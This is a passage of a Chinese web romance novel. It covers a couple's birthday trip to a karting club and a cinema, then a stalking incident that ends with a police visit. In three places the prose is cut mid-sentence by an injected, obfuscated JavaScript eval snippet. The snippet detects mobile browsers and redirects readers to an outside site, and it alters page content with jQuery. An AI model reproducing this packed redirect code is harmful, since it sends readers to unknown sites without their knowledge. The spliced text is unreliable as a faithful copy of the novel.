沈离离抓住他的手臂,把他拉下来,坐在她身边,笑笑说:“没事,放心吧,我手机一路都是110拨号页面。” “大概长什么样子,我叫人去调监控。”沈燎绝不会就这么算了。 “我没看清,他一直戴着帽子,穿了黑外套和牛仔裤。” “好。”沈燎记下,随后再次把她拉进怀抱里,亲了亲她的额头,“对不起。” 她伸出一只手摸了摸他的侧脸,仰起头,去亲他的下颌,“不是你的错,道什么歉。明明是坏人的错。” “嗯,是坏人的错。”他低声说,然后轻轻吻她的唇角,听到她喉咙里溢出笑。 但两个人似乎没有进一步的打算,沈离离只是脑袋凑近他的颈窝,找了个舒服的姿势靠着,翻出个电影看。 沈燎瞥了眼屏幕,拿起手边的遥控,把屋里的大灯关掉了。 室内光线昏暗,很安静,只有空调在呼呼吹风。 似乎是一部爱情喜剧,穷小子男主对优雅美丽的女主一见钟情,笨拙而真诚地追求她。 沈离离瞧着,忽然发现自己曾经看过这部电影。 时间流淌,谁都没有说话,安静地感受彼此的温度。 剧情快要过半时,沈离离忽然出声叫停:“哥,我有点困了。” “行,那就去睡觉吧,挺晚了。”沈燎很快摸到遥控,打开灯。 电影被暂停在一幕花房,男女主的孩子从里面钻出来,天真又可爱。 沈离离犹豫两秒,回头看他,说:“你不问我,为什么不看下去吗?” 沈燎:“结局不好,对吗?” “……嗯。” “那就到这里吧,等哪天,我们都能接受它了,再继续看,”他说,“反正时间很长。” 她凝望了他的眼睛,两秒后,笑了,狠狠抱了一下沈燎,把他抱得一惊,也笑出来。 沈离离说:“好,反正时间还很长很长。” 洗漱完毕,两人在门口对望,僵站了好几秒。 沈燎笑道:“怎么了,不敢睡?” 沈离离摇摇头,“忘记说了,还有一件事。” “什么?” 沈离离往他走了两步,就站在他身前,踮起脚,吻了他的唇角,气息轻轻地喷洒在他的脸上,声音带着笑意,“生日快乐,沈燎。” 温热的,浅浅的呼吸,却让他浑身起了一层鸡皮疙瘩,愣了一秒。 下一刻,沈燎抬起她的脸,倾身对着她的唇吻了下去。 “是为了这个,才突然来东城?” 沈燎边吻她,边喘着气说,眸光盈满爱欲,柔情似水,像要把人溺在其中。 “嗯……”她笑着往旁边偏头,躲开他的唇,双手环住他的腰,把脸埋进他胸口,“就知道你会忘记,大忙人。” 沈燎抱着她低声笑,心已经软得要融化了。好像此时此刻,大脑完全无法思考其他事,一整个心,也已经装不下其他东西,只剩她。那么漂亮又那么真诚的女孩子,已经占据了全部。 他正在被她爱着,全心全意地爱着,这个事实总让沈燎发愣,需要不断确认,才敢放心沉溺。因为这件事情太幸福了,像一场一触即离的美梦。 不过还好,怀里的存在一直在锲而不舍地告诉他:这不是梦哦,我们正在相爱。 “生日礼物,有什么想要的东西吗?”沈离离笑着说,“可以随便选,不限形式。” “那么宠我?”他笑着挑眉。 “我男朋友,当然由我来宠。”她嘻嘻一笑,叉着腰说。 沈燎看着她的笑容,亮晶晶的眼睛,忽然又想亲下去。 他轻咳一声,移开目光。 “没什么想要的,今晚已经很开心了。”他揉两下她的脑袋。 沈离离:“那不行,我都千里迢迢赶过来了。” “但确实没什么很想要的东西。”沈燎摊了摊手。 她皱起眉,摸着下巴思考。 脑袋里冒出好几个想法。求婚戒指吗?不合适吧,才确定关系没多久呢,鲜花的话,告白那天已经送过了…… “明天有空吗?”她忽然说。 “有,出差前就空出来了。” “我们去开车吧!” “……”沈燎盯着她看,陷入一阵可疑的沉默。 沈离离愣了一秒,飞快反应过来,满脸涨红,大叫:“是真的开车!你喜欢的那种赛车!才不是,才不是……” “不是什么?”他唇角上扬。 “不是你想的那种。” “喔,我想什么了,你知道?” “沈燎!”沈离离狠狠瞪他一眼,猛地摔上门。 房门隔音很好,她理应听不到任何声音,却好像能想象到,他喉间正发出轻轻的,愉悦的笑声,像羽毛一样挠她的耳垂。 沈离离后背靠在门上,双手捧着脸,心跳飞快。 第二天,两个人都起得很早。 套房里有厨房,沈燎不知什么时候叫人送了菜上来,等沈离离洗漱好打开门,就闻到香味。 她跟着香味一路飘到厨房,睡眼惺忪,一把搂住他的腰,脑袋在他后背一顿狂蹭。 沈燎身子僵了半秒,喉结上下动了动,很快恢复如常,拖着调子说:“再不放开,蛋要煎糊了。” 沈离离:“胡说,我没有闻到糊味。而且我又没绑着你的手。” 他忍不住笑,“你还有理了?” “我就有啊,”她缓慢移开,挪到他身旁,探头看着他的动作,“你就是说不过我。” 小平底锅里面,两只蛋煎得十分完美,蛋黄一点没漏出来,轻悠悠地在锅里微微抖动,滋滋作响,香味飘散,无比诱人。 沈离离咽了咽口水,“哥你的目标是成为家庭煮夫吗?” 沈燎笑道:“是啊,很远大的目标。” “没事的,我会努力挣钱养家,你只要思考怎么精进厨艺就好!”她握紧拳头挥了挥,斗志昂扬的样子。 沈燎笑得双肩颤抖,努力稳住铲子,给两只蛋翻了个面。 吃完早餐,两人收拾好,出了门。 虽说这趟赛车行这算是沈离离送沈燎的礼物,不过她实在对此一窍不通,从没动过追求速度与激情的念头。于是最终还是沈燎自己来找地方。 “东城有那种赛车俱乐部么?就你以前爱玩的那种。”她琢磨着,因为儿时的印象,总觉得这地方不算什么大城市。 她指的应该是超跑。沈燎回答:“你想的那种,我记得是没有。” “……那怎么办,”她叹气,“还是回海文吧。” “就算有,我也不放心让你开,”他笑了笑,把手机递过去给她,“这种,想试试吗?” 她接过来,定睛一看,是一家位于东城市郊的娱乐卡丁车俱乐部,户外赛道,看上去规模不小。 沈离离没犹豫,立刻就点头,“走。” 她兴奋又期待,不停想象开赛车是什么样的感觉,激动了一路。沈燎也未雨绸缪地给她讲了一路的注意事项。 终于来到俱乐部建筑外,两人推门往里走。 浓重的灰蓝色工业风装修,线条冷硬却不失美感,墙壁和天花板由一路蜿蜒的深蓝色灯带延伸往里。 沈燎看上去对这里很熟悉,脚步丝毫没有停顿,带着她穿过前廊,走进大厅。 沈离离扯住他的袖口,他停了一下,放慢步子,转头看她,“怎么了?” “这里不会也是你开的吧?” 不然怎么那么熟悉的样子。 他笑出来,“在你眼里,我能耐那么大?俱乐部都开到东城了?而且还是卡丁车。” “那怎么……” “一个朋友开的,以前跟他来过一次,不过对卡丁车兴趣不大,不怎么开。” 沈离离点点头,“卡丁车,和超跑,还有普通的汽车,开起来到底有什么不一样?” 他沉默住,斟酌了一会儿,“差距还挺大的,你上手就知道了。感兴趣的话,回去的路上仔细跟你讲?” “好!” 沈燎确实没说谎,他路走得顺,完全是因为记忆力好,其实对这地方并不很熟,场内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399683|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的工作人员也不认识他,只当普通客人接待。 因为沈离离是完完全全的新手,于是下一步是安全培训。沈燎陪着她一起进入培训室,余光瞧着她认真听讲的模样,忍不住扬起嘴角。 培训员十分详尽地讲了安全注意事项,以及各种赛道规则,卡丁车的驾驶技巧等等,沈离离上公共课都没有这样认真过,双臂放在桌上,小学生似的,满脸认真。 沈燎忽然就轻轻笑了一声,声音很轻,从鼻息中发出。 沈离离目不斜视,培训员看了两人一眼,宣布:“差不多就是这些,准备好,就去发车区吧。” 走去更衣室的路上,她用手肘撞他一下。 沈燎失笑:“怎么了大小姐?” “你听讲不认真,害我也分心,”她深呼吸,拼命想让自己因紧张而狂跳的心平复些,“等下要是在车上出问题就完蛋了……” 听出她语气里的忐忑,沈燎抬手,捏了捏她的肩膀,“这车没你想得那么难开,再不行,咱们就慢慢悠悠地晃,一点点挪也可以。” “那也太没体验感了。”她还是紧张。 “放轻松,还有我在。” 她抬起脸看他,对上他平静温和的目光,带着淡淡笑意。 好吧,反正有他在,怕什么? 换好了赛车服,两人走出更衣室,对着彼此,面面相觑几秒,然后都偏过头笑了。 身上的颜色几乎没有重叠,红白配色的沈离离,和黑蓝配色的沈燎,却另有种契合感。 “你先来?” 站在车前,沈燎笑望着她。 “不不不不要啊!我不行的。”她抱着头盔,感觉自己快要被太阳烤化了,看到跑道,以及比自己想象中还要复杂庞大的卡丁车,紧张得两腿发软。 好热好晒,视野里的一切都有种扭曲感。 沈燎轻轻一叹,放下头盔,继续给她捏肩膀,声音在她后上方,很平和,像清泉,“别紧张,放松肩膀,放松手臂肌肉,小腿也别绷太紧。” “我控制不住……” 他的笑声流淌出来,“没关系,我们慢慢来,迈出第一步,后面就会简单很多。实在害怕的话,要不要换双人的车?” “还有双人的?”她两眼顿时迸出光。 最终,坐上了双人卡丁车,沈离离飞快钻进副驾驶,发现面前也有方向盘。 沈燎也跨入车内,说:“油门在我这边,你不想动方向盘,也可以就这么坐着。” “那你开快一点。”沈离离兴致勃勃,立刻就拉下了头盔的护目。 他挑眉,“开快点?刚才是谁怕得腿软。” “让我亲自开车,和坐你的副驾,心情肯定不一样呀。”她理直气壮,甚至有点迫不及待,“快开始吧。” 沈燎笑了,两手扶上方向盘,“那准备好了,副驾女士。” 他踩下油门,车子起步,速度在直道上缓缓提升,沈离离两手也握着方向盘,并不怕会妨碍到沈燎开车,因为发现这方向盘比想象中重得多,不用点力气,压根转不动。 前方弯道,沈燎打弯,顺利通过。他余光看了旁边的女孩,轻轻一笑。 “坐稳了。” “……啊?” 轰鸣声愈演愈烈,车子提速飞快,箭一样猛地冲了出去,沈离离发出了一声短促的尖叫,然后立刻闭上了嘴,渐渐睁大眼睛。 车速越来越快,狂风呼啸,似乎也在为这激情发出喝彩声。 一圈又一圈……有好几次,沈燎甚至给她一种即将冲出场地的感觉,速度和技巧一样不落,弯道也过得无比顺滑。 沈离离拼命按捺放声大喊的欲望,任由自己的灵魂随着引擎轰鸣声冲上云霄。 一直到前方扬起黑白旗,车子速度减慢,缓缓停在终点。她还呆呆抱着方向盘,一动不动。 沈燎取下头盔,把她拉起来,“腿又软了?” 沈离离接着他的手臂,慢吞吞地下了车,摘下头盔,额头上还有细密的汗珠,但眼睛亮晶晶的,闪烁着兴奋的色彩。 “太刺激了,好上瘾啊……沈燎,我有点理解你当初为什么喜欢开车了,”她絮絮叨叨,“我刚才真觉得我要飞出去了,过弯道的时候还以为要翻车,紧张死了,但之后几圈越来越爽,越来越开心……” 他始终微笑注视她的眼睛,忽然,抬臂把她拉进怀里。 蓝天,烈日,红蓝异色的赛车服,以及相拥的一对爱人。 38. 第 38 章 在卡丁车俱乐部玩了半天,下午,两人临时起意,又去看了场电影。 沈离离是网上冲浪一级选手,其实很清楚最近的院线电影全都没什么看头。作为一名半吊子文艺青年,她一向对浪费时间的电影深恶痛绝。 但今天,她昧着良心,对沈燎指了指一部看名字就很矫情的商业爱情片,说:“哥,我们就看这个吧,感觉应该还不错。” 沈燎看了她一眼,“确定?” 她眼神悲壮:“确定。” 沈燎悄悄侧头笑了一声。 进场,电影开始,看了差不多半个小时,沈离离已经猜到后面的剧情。 配乐也中规中矩,只是画面拍得美,视觉效果不错,演员的颜值对观众的眼睛很友好。 看到男女主解开误会在大雨中拥吻的时候,沈离离忍不住吸了口气,打了个呵欠。 昏暗的影厅里,她听见身旁沈燎发出了一声很轻的笑,从鼻子里呼出来的。 她侧头去看他,投影的光泛着暖色调,他的轮廓也被这光朦胧了,有点像融入了电影中的那场大雨。 忽然,像是察觉到她的视线,沈燎也低头,与她目光相撞。 他嘴角微微上扬,手指往扶手下面摸,触到她的指尖,有点凉。 两只手同时寻找对方,触碰过后,紧紧握在一起。 而两个人,则若无其事地扭过头,继续盯着屏幕,听着自己的心跳被淹没在电影音乐之中。 屏幕里,男女主正在深情告白,将自己的心意,自己的脆弱,甚至灰暗地带,全部剖出来递到对方跟前,有种引颈受戮的决然。 剖白的最后,男主角小心翼翼地抬起眼睛,问:“这样的我,还能有幸得到你的爱吗?” 这一刻,沈离离突然觉得,就冲这一段台词,或者就冲身边陪她一起看的人,她都不会给这部电影打低分了。 差不多一个半小时的时间,转瞬即逝。 结局果真被沈离离猜得八九不离十,越看到后面越没有新意。 她愤恨地给这片子打了三星,结果发现网络评分比她打的还低。 “离离,”沈燎出声,“看明白了吗?” 走出影厅,两人慢悠悠晃着离开电影院。 沈离离把手机揣回包里,空出手去牵他,然后他张开手,反客为主,她的手被他的大掌牢牢包裹。 “差不多吧,不就是谈恋爱吗。” 她低头,飞快瞥了眼两人交握的手,又欲盖弥彰地抬头,眼睛左右四周到处乱瞟。 心跳声比在影厅里明显得多,扑通扑通在脑袋里响个不停。 不知道到底在紧张什么,这明明是东城,遇到熟人的可能性很小。 所以到底在紧张什么,他们就是情侣呀,牵个手,有什么奇怪的呢? 沈离离甚至发觉手心已经快要兴奋得冒汗了。 她又开始后悔牵手,夏天不是牵手的季节。春秋,或者冬天,都比夏天更适合牵手和拥抱,那夏天该干什么?接吻吗? 脑中一个接一个的画面蹦出来,沈离离沉默着想象,已经能做到脸虽热,但面上不动声色。 “我倒是觉得,不止是谈恋爱。” “……啊?” 她思绪回转,有点懵地抬头看他。 沈燎笑了笑,“不觉得挺励志的吗?主角一无所有,但居然敢放手去做那么勇敢的事情。” 她想了一下,“可如果不去做,他们就真的连一点未来的可能都没有了。不管再怎么励志,我感觉本质也还是爱情片,爱是所有高尚品质的源泉。” “你也这么认为?” “我……”沈离离抬头,发现他正温柔地垂眸凝望她,只是注视,没有质疑,也没有询问,这让她很放松。 于是她说:“我不觉得爱情是必需品,但拥有爱,有的时候,确实会改变一个人的一生。” 沈燎握着她的手,重新看向道路前方,轻声说:“这样想,很好。” - 回海文的飞机上,沈离离没再睡着,脑海里还是白天刺激的卡丁车跑圈。 想着想着,又想到沈燎。 忽然,她定住几秒,转头看向他,“哥,问你个事。” “嗯?”沈燎掀开眼皮。 她就知道他没有睡着。 沈离离:“你在海文不是有个超跑俱乐部吗?怎么很久没听你说起过了。” 他没出声,顿住好一会儿,才淡淡一笑,说:“以前喜欢玩,现在可能是太忙,对很多事情都没兴趣了。” “但你今天早上带我跑圈的时候明明就很开心。” “是么?” “是呀。” 沈离离:“有爱好是一件很好很值得开心的事情,不要轻易就放弃。” “没放弃,”他语气忽然认真了几分,“就算放弃玩车,也不会放弃那个俱乐部。” 对望着他的眼睛,沈离离一下子灵光一闪,突然明白了什么。 她轻轻吞咽了一下,“啊,我,我记得,那个俱乐部的名字……” “嗯,S&L是沈燎和离离。”风轻云淡的语气。 “……” 沈离离半边身子麻了一阵,像是被过去的某个瞬间击中了。 半晌,她才闷闷地说:“沈燎,你从什么时候开始没把我当妹妹的?” “这是什么话,”他笑了,“从来没有不把你当妹妹过。” “现在也是?”沈离离被吓得直起身子。 沈燎:“离离,只有家人,是永远不会分开的,你明白我的意思么?” 她张张嘴,最终没有说话,看着他的眼睛轻轻点了点头。 沈离离或许知道了沈燎从前为什么会胆怯,为什么对待这段感情总有些悲观。他不是不喜欢她,而是太爱。 家人是最安全的关系,是不会轻易被影响的关系。他们没有血缘,也没有亲缘,除却这层薄如纸的“亲情”,就没有连接纽带了。 渴望走出来,但也不敢走出来。 还好,还好她主动走出了那一步,还好她什么都不怕。 沈离离不怕被火焰灼伤,因为沈燎不是熊熊燃烧的燎原野火,他是一盏孤寂但永不熄的长明灯。 她身子往下滑了一点,偏头,靠在了沈燎的肩膀上,伸手去抓他的手指,被他反握在掌心里。 “困了吗?” “没有,就是想靠靠你,不可以吗?” 他轻声笑,“随时可以。” - 到家已经是深夜。 他们互道晚安,各自关上卧室门。 次日是周一,沈燎到点上班,沈离离起床时家里只剩她一个。 下楼就看见岛台上一如既往的早餐和纸条:我去公司了,早餐用微波炉热热再吃。 靠在厨台前,等待微波炉热餐,沈离离掏出手机刷朋友圈,看到很多朋友在晒旅行照。她指尖一顿,目光微微往上,看了眼时间——周一上午十点——这才忽然有了放暑假的实感。 大三下学期的四个月就这样结束了,这半年来,发生的事情多到让沈离离回忆起,也觉得神奇。 沈燎回来了,她也确定了未来的方向,甚至,他们还在一起了。 这个时候的沈离离,真的觉得这一年简直堪称梦幻,好像所有期待已久的好事情全部降临,一股脑砸到她头上了,仿佛故事马上就能宣布大团圆结局。 她知道这一年还没有过去,也知道自己还年轻,却不知道这世界无论好运还是厄运,都讲究守恒。 有些事情,很可能会突然来一棒子,把一个沉浸在幸福中的人打得措手不及。 比如,今天下午的沈离离,就迎接了她的当头一棒。 放假已经将近三个星期,没了兼职,也没了社会实践,这个假期,沈离离只需要进行作品集的深度制作,准备推荐信和其他申请材料。 趁着空闲,又接了一些音乐合作,给自己每天安排事情干,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407033|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半时间仍然泡在录音室。 不过总宅在家里当然是不妥的,于是她决定出门走走。 沈燎最近又忙起来,下班时间十分不准时,沈离离只能在晚饭时间和他煲个电话粥。 “没在家里?”他听到吵闹声,在电话那头询问。 沈离离点点头,点完,才意识到他看不见,立刻说:“嗯,今天下午突然想吃咖喱蛋包饭,就出门啦,现在刚到店里,人特别多。” “终于舍得出门了。”他在那头轻轻地笑。 “我明明前天才出过门。” “哦,你指的是走到家门口几十米处的垃圾箱旁边扔垃圾?” 沈离离忍不住笑:“你再这样,我真要生气了。” “真的?笑着生气的啊。”从小琢磨到大,他完全听得出她的语气代表了什么样的心情。 “真的啊——”沈离离话音未落,服务员就端来了她的饭,只好道:“哥先不说了,我吃饭了。” 沈燎笑了笑,嗯了一声,说:“好好吃,别发呆,我这边结束了给你打电话。” “好的!” 挂断电话,沈离离脸上笑容依旧,收也收不住,一边吃,一边觉得这家店的咖喱好像比以前吃过的都要香。 吃完饭,再打开手机,才看见沈燎十分钟前发来的消息:可能八点到家,有没有想吃的宵夜? 真是狡猾,这下,她连埋怨他回家太晚的气都没有了。 她想了想,笑着回复:蛋包饭量太多,吃撑了,别的吃不下了。 沈燎:那还吃得下什么? 沈离离:沈燎吧。 对面好久没有消息,只是聊天页面顶部一直显示正在输入。 沈离离掩住嘴角的笑意,起身往外走。 好一会儿后,沈燎才回:我先看个文件,早点回家。 沈离离:知道啦,在家等你! 她关闭手机,十分雀跃地蹦跳了几下,然后慢悠悠散着步回家。 盛夏傍晚,抬头就能看见晚霞,近血红的浓重色彩,像火烧红了半边天空。 这黄昏,虽然不可否认的美,但有点压抑,整座城市都好像被笼罩在这样红通通的氛围中。 沈离离想起了一些传说中,也将黄昏成为逢魔时刻。从前始终不以为意,刚才也仍在欣赏美景,但这一刻,她莫名感到一丝不安。 身后,好像有不太对劲的声音。 哒哒哒,哒哒…… 让人毛骨悚然的脚步声,却莫名有些熟悉。 在哪里听到过? 她为什么会那么害怕? 沈离离脊背发凉,攥紧了手机,加快脚步拐弯,飞快往公园走。 身后的人始终紧追不舍,却并不走得更近,只是不徐不疾地保持着距离,她快,他也快,她慢,他也跟着放慢速度。 简直像是在戏弄她。 可沈离离不敢回头,也不敢愤怒,她头也不抬,视线不移,睁大眼睛瞪着前方,不停走,不停走。 走着走着,她钻进人群中,越来越快,但并不奔跑,跑起来的人影太明显了。她必须尽可能让自己完美地融入人群。 大概过去五分钟,那道明显的脚步声消失了。 沈离离不再有散步的心情,找了个人多的地方打车,等车到后立刻钻了进去。 回到家里,砰一声关上门,身体僵硬地盯着空房子安静了好久,心跳才渐渐平复下来。 似乎连她自己也没有意识到,她在本能地逃避去处理刚才被跟踪的事情。 不是不想,也不是不能,查监控,报警,打电话给沈燎或者姑姑,全都可以。但她好像是不敢,无论是提起刚才的事,还是那个跟踪她的人。 寂静无人的屋子让沈离离的安全感回归,这时候或许应该直接洗漱上床去被窝里躺着,心会更平静一些。 当她这么想的时候,门铃声突然响起来,沈离离的心脏猛地一震。 那个人,好像还在跟着她。 39. 第 39 章 沈燎赶到家时,手里还提着小盒草莓慕斯。 门口停着警车,院子里有几名警察。他走上前,寻找沈离离,下一刻就与她视线相对,她立刻朝他跑过来,两位警察也转身看。 沈燎稳稳接住她,紧紧握着她的肩膀,低声问:“怎么样,有没有哪里不舒服?” 她深吸了一口气,平复心情,摇头说:“没事。” 警察问:“这位是?” 两个人同时沉默,两秒后,异口同声:“我哥哥/她哥哥。” 沈离离顿时一阵心悸,有种很奇妙的复杂感受,但有公职人员在场,只好忍住了没有抬头与他对视,只紧抿住唇。 她重新跟沈燎说了一遍事情的经过。其实简单到五个字就能讲清楚——她被跟踪了。 沈离离把自己回家的路线一五一十地跟警察描述了一遍。然后就是她报警时的情况:一个戴了帽子和口罩的男人在按她家的门铃,又凶又急。 通过智能屏幕看见外面的人之后,她毫不犹豫地拿了水果刀就冲回房间,反锁房门并报警。 门铃大概响了五分钟,那个男人离开了。沈离离一直躲在房间衣柜里,不敢往外看,也不清楚那人是往哪个方向去了。 直到听见警车鸣笛声,悬了整夜的心才放松下来。 沈燎听得直皱眉,始终紧握着沈离离的手,拇指轻轻摩挲她的手背。 “那个混……他是怎么进来的?”他压着火。 这是个人尽皆知的高档小区,治安很好,门禁很严格,没出过差错。 被叫来的保安有些心虚,很不好意思地说:“从监控死角翻进来。那边巡逻的老哥刚好吃饭去了,没想到会出这种事……” 保安室的监控放出来,只能捕捉到那人的身形,帽子口罩把他遮得严严实实。 “沈小姐只比他早到家十分钟,”警官严肃地看向沈离离,说:“但照沈小姐的说法,你是从CB广场直接打车回来的?” 她点头:“对,只有三公里远,可能十分钟不到,我就到家了。” “但如果他是一路尾随,很大可能不会等到你进门。”警官道。 “所以,这个人,知道我家住在哪里。” 沈离离缓慢说出来,登时感到一阵彻骨寒意。 事情处理完,已经是深夜。由于没有造成实质性伤害,证据也不明显,警官们没法帮她立案,最终只能让她注意安全,随时准备报警。 回到家里,沈离离浑身瘫软,倒在沙发里一动不动了。 刚才在警察面前强撑起的冷静全盘崩溃,只剩疲惫和茫然。 沈燎把手臂绕道她肩膀后面,抱着她,用脸颊去蹭了蹭她的额角,轻声说:“没事了,离离,别怕,哥哥已经叫人去查。这几天出门我让几个人跟着你,不怕了。” 沈离离去找他另一只手,紧紧抓住,然后仰头看向他。 看着看着,他又低头亲了亲她的额头,说:“没事了,哥哥在,以后再也不会发生这种事,我向你保证。” 情绪猛然上涌,洪水一样冲过阀门,拦也拦不住。 沈离离一下子翻身抱住他的腰,趴在他肩膀上呜咽出来。沈燎张开手臂,把她圈进怀里,一下下轻抚她的脊背,偏头蹭她的发顶,“想哭就哭,没关系的,这件事……怪哥哥没保护好你,让我们离离受委屈了。但你做得很好,第一时间报警,保护了自己。真的长大了。” 沈离离哭得失声,泪水浸湿他的衣服。 近一分钟的漫长哭泣,她头晕得不行,终于缓过劲来,抬起头,眼睛很红,睫毛被泪水粘连着,满脸泪痕。 沈燎伸手抽了纸,给她轻轻擦掉脸上的泪水。 沈离离不再吭声,很安静地望着他,脑袋似乎已经恢复冷静,只是仍旧迷茫。这种迷茫里,夹杂着丝丝缕缕的恐惧,不那么明显,却能清晰感觉到它的存在。 像是一簇火苗,燃自内心深处,灼得她一阵阵心慌。 “哥,”她垂下眼,说,“我今晚能跟你一起睡吗?” 大脑还没反应过来,嘴巴就先点了头:“能啊,怎么不能。” 答应完,沈燎才滞住,一秒的时间,脑子里已经迅速闪过无数种少儿不宜的画面。他沉着脸,紧绷唇角,强压下那些不合时宜的念头。 洗完澡,上床,已经是晚上十一点。 沈离离实在没胃口,只好把草莓慕斯放进冰箱,第二天再宠幸它。 她率先钻上床,把被窝往上拉到盖住下半张脸。听着浴室的水声,闭着眼睛,沉默地吸了一下,被子里都是沈燎的气味。 好奇怪,明明是新换的床上用品,为什么还是有这味道,难不成是洗衣液的香味? 这些向来是定期有阿姨来清洗更换,她还真分不清是什么气味。 就这样胡思乱想着,等沈燎上床时,她已经昏昏欲睡。 身边的床垫明显往下陷了一点,浑身还带着湿意和热气的男人躺在她身边。一时间,两个人都紧张得不敢动弹,绷直身躯,四肢僵硬。 沈离离困意消散了大半,开始质疑自己是否做了一个过于冲动的决定。 直到沈燎出声,音色微哑,“那我关灯了?” 一声好还卡在喉咙里,灯熄灭了,满室寂静与黑暗。 “是关了,还是停电?” 沈燎:“……好像是声控灯,触发语音是关灯。” 沈离离:“那如果说开灯,它是不是就会——” 话没说完,灯果然开了,明亮光线一下子刺得两人紧紧眯了下眼。沈离离转头,与沈燎对上视线,静默一秒钟,噗嗤一声,同时笑出来。 “好了,睡觉吧。”沈燎嗓音温柔,目光也柔和得像水一样。 她点点头,然后出声道:“关灯。” 这一夜,什么都没有发生。除了沈燎半夜转醒,收获了一条发麻的手臂——被沈离离抱了好几个小时。 大概是借了微弱的,从窗帘缝隙透进来的月光,他看清她的脸。 长发散在枕头上,她眉头紧锁,眼睛也闭得有点紧,整个人蜷缩着,紧紧抱着他,像在噩梦中抓着一根救命稻草。 沈燎睡意全无,盯着她瞧了很久。 他伸手,抚平她的眉心,然后小心翼翼地将酸麻的手臂抽出来,侧过身子,抬起她的胳膊搭在自己腰上,再轻轻把她揽进怀中。 上一次这样相贴入睡,好像是年纪还很小的时候了。 记忆里,自从关瑶去世,沈离离就成长了很多,很少诉苦,也很少展露真正的脆弱。她用一层柔软的,有韧性的壳包裹自己,然后对全世界说,你看,我还是那个细腻又可靠的沈离离,我才不会碎掉。 而此时此刻,沈燎只想抱着她,让她睡得安稳一点。 - 沈离离知道,那天晚上过后,沈燎大概率会为她的人身安全问题下不小的功夫,但没想到,能夸张到这个地步。 门外随时有六位魁梧的黑西装男保镖候命,只要她出门,他们会一直跟在她附近,一路盯梢,观察周围情况。 而屋内,多了一位清爽干练的短发女性,长得很高,可能得一米七五朝上,看上去三十岁左右,十分健康的小麦色皮肤。她让沈离离管自己叫楚姐。 还好楚姐只是一身运动装,没有穿黑西装,不然沈离离真感觉在演什么特工电影。 楚姐说:“除了进卫生间,沈先生要求我随时跟你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411706|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边。” 沈离离有点麻木了,“好吧,那您得在录音室待很久了,如果不爱听歌,可能会有点无聊。” 楚姐:“完全没问题,而且我挺喜欢听歌的。” 楚姐比想象中健谈,并不那么严肃,这让沈离离心情好了很多。 “我哥他……有跟你们说具体发生了什么事吗?”录音室里,沈离离抱着电吉他,忽然停下来,抬头看向楚姐。 “说了您被人尾随跟踪。” 沈离离:“所以,阵仗是不是有点太大了?” “怎么会,”楚姐很惊讶地看她,“我们以前还见过更夸张的,像那些明星防狗仔,比这阵仗大多了。” “真的吗?” 楚姐宽慰她:“真的呀,你这可是威胁到人身安全,沈先生那么担心,完全情有可原。” 沈离离缓缓呼出一口气,“好吧,谢谢你。”她重新低头,拨动琴弦。 楚姐始终坐在一旁,不自觉面带微笑看着她。 其实她很少听音乐,对此一窍不通,不过她冥冥之中有种感觉,这个女孩子的演奏肯定是水平很高的那种。 有了保镖后的第三天,沈离离出门了,是和陈夏安约好的一顿晚饭。 由不得她是否有心理阴影,高大健壮的楚姐,以及隐入人群的六位壮汉,都让她简直放心得不能再放心了。 因此,与陈夏安见面后,陈同学的第一句话就是:“沈燎真是把你当小鸡仔护啊。” 沈离离纠正说:“不是小鸡仔,可能是把我当国际巨星了。” 陈夏安笑出声,捂着肚子,“那倒是还不够,国际巨星的话,贴身保镖肯定不止一位吧。” 鉴于楚姐还在场,沈离离不太好意思跟陈夏安说,其实这种程度的贴身,一个就够了。 聊起最近的八卦,两个人情绪都有点激动,谁谁谁又恋爱了,谁和谁又闹掰了,哪个乐队,哪个学校,又曝出了什么瓜…… 最让沈离离吃惊的是,杨敬澄被贴了渣男标签挂上了校园墙。 “不是吧……他?” “就是他,”陈夏安叹息摇头,“不止你,连我都觉得不习惯,好像分开之后,他就跟变了个人似的。离离,我都不敢想,他要是知道了你和你……和沈燎的关系,会疯成什么样。” 沈离离倒是不太担忧,“能怎么样?如果是现实攻击,报警就行,如果是造谣,除非他拿出证据,我清清白白,也没什么好自证的。” 听完,陈夏安仔细想了想,点头说:“还挺有道理的。你这方面的心态我真是佩服。” “过奖过奖。”她笑笑。 两人再次走到烤肉店,去了最常坐的位置,服务员走过来的时候,脸上的笑容很真挚,对她们两个非常眼熟了。 沈离离询问一旁的楚姐:“坐下和我们一起吃吧。” 楚姐笑着婉拒:“等回家之后,换了班我再吃。” 换班的那位女性只在饭点出现过,扎着高马尾,不苟言笑的样子,总共没说过几句话,沈离离和她不太熟。 